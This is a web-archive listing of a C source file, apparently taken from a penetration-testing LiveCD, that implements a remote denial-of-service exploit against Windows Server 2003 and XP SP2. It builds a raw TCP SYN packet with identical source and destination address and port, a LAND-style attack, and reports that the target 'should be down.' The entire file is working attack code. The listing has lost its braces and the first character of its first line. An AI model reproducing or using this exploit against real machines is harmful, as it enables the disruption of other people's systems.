home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / windos.c < prev    next >
C/C++ Source or Header  |  2005-03-16  |  3KB  |  133 lines

  1. nclude <stdio.h> 
  2. #include <ctype.h> 
  3. #include <sys/socket.h> 
  4. #include <netinet/in.h> 
  5. #include <netinet/in_systm.h> 
  6. #include <netinet/ip.h> 
  7. #include <netinet/tcp.h> 
  8. #include <sysexits.h> 
  9. #include <stdlib.h> 
  10. #include <unistd.h> 
  11. #include <sys/types.h> 
  12.  
  13. /* 
  14. Windows Server 2003 and XP SP2 remote DoS exploit 
  15. Tested under OpenBSD 3.6 at WinXP SP 2 
  16. Vuln by Dejan Levaja <dejan_@_levaja.com>
  17. (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru 
  18. Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor 
  19. Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy 
  20. All rights reserved. 
  21. */ 
  22.  
  23. //checksum function by r0ach 
  24. u_short checksum (u_short *addr, int len) 
  25. u_short *w = addr; 
  26. int i = len; 
  27. int sum = 0; 
  28. u_short answer; 
  29. while (i > 0) 
  30. sum += *w++; 
  31. i-=2; 
  32. if (i == 1) sum += *(u_char *)w; 
  33. sum = (sum >> 16) + (sum & 0xffff); 
  34. sum = sum + (sum >> 16); 
  35. return (~sum); 
  36. int main(int argc, char ** argv) 
  37. struct in_addr src, dst; 
  38. struct sockaddr_in sin; 
  39. struct _pseudoheader { 
  40. struct in_addr source_addr; 
  41. struct in_addr destination_addr; 
  42. u_char zero; 
  43. u_char protocol; 
  44. u_short length; 
  45. } pseudoheader; 
  46. struct ip * iph; 
  47. struct tcphdr * tcph; 
  48. int mysock; 
  49. u_char * packet; 
  50. u_char * pseudopacket; 
  51. int on = 1; 
  52. if( argc != 3) 
  53. fprintf(stderr, "r57windos.c by __blf\n"); 
  54. fprintf(stderr, "RusH Security Team\n"); 
  55. fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); 
  56. return EX_USAGE; 
  57. if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) 
  58. perror("malloc()\n"); 
  59. return EX_OSERR; 
  60. inet_aton(argv[1], &src); 
  61. inet_aton(argv[1], &dst); 
  62. iph = (struct ip *) packet; 
  63. iph->ip_v = IPVERSION; 
  64. iph->ip_hl = 5; 
  65. iph->ip_tos = 0; 
  66. iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); 
  67. iph->ip_off = htons(IP_DF); 
  68. iph->ip_ttl = 255; 
  69. iph->ip_p = IPPROTO_TCP; 
  70. iph->ip_sum = 0; 
  71. iph->ip_src = src; 
  72. iph->ip_dst = dst; 
  73. tcph = (struct tcphdr *)(packet +sizeof(struct ip)); 
  74. tcph->th_sport = htons(atoi(argv[2])); 
  75. tcph->th_dport = htons(atoi(argv[2])); 
  76. tcph->th_seq = ntohl(rand()); 
  77. tcph->th_ack = rand(); 
  78. tcph->th_off = 5; 
  79. tcph->th_flags = TH_SYN; // setting up TCP SYN flag here 
  80. tcph->th_win = htons(512); 
  81. tcph->th_sum = 0; 
  82. tcph->th_urp = 0; 
  83. pseudoheader.source_addr = src; 
  84. pseudoheader.destination_addr = dst; 
  85. pseudoheader.zero = 0; 
  86. pseudoheader.protocol = IPPROTO_TCP; 
  87. pseudoheader.length = htons(sizeof(struct tcphdr)); 
  88. if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) 
  89. perror("malloc()\n"); 
  90. return EX_OSERR; 
  91. memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); 
  92. memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); 
  93. tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); 
  94. mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); 
  95. if(!mysock) 
  96. perror("socket!\n"); 
  97. return EX_OSERR; 
  98. if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) 
  99. perror("setsockopt"); 
  100. shutdown(mysock, 2); 
  101. return EX_OSERR; 
  102. sin.sin_family = PF_INET; 
  103. sin.sin_addr = dst; 
  104. sin.sin_port = htons(80); 
  105. if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, 
  106. (struct sockaddr *)&sin, sizeof(sin)) == -1) 
  107. perror("sendto()\n"); 
  108. shutdown(mysock, 2); 
  109. return EX_OSERR; 
  110. printf("Packet sent. Remote machine should be down.\n"); 
  111. shutdown(mysock, 2); 
  112. return EX_OK; 
  113.  
  114.  
  115.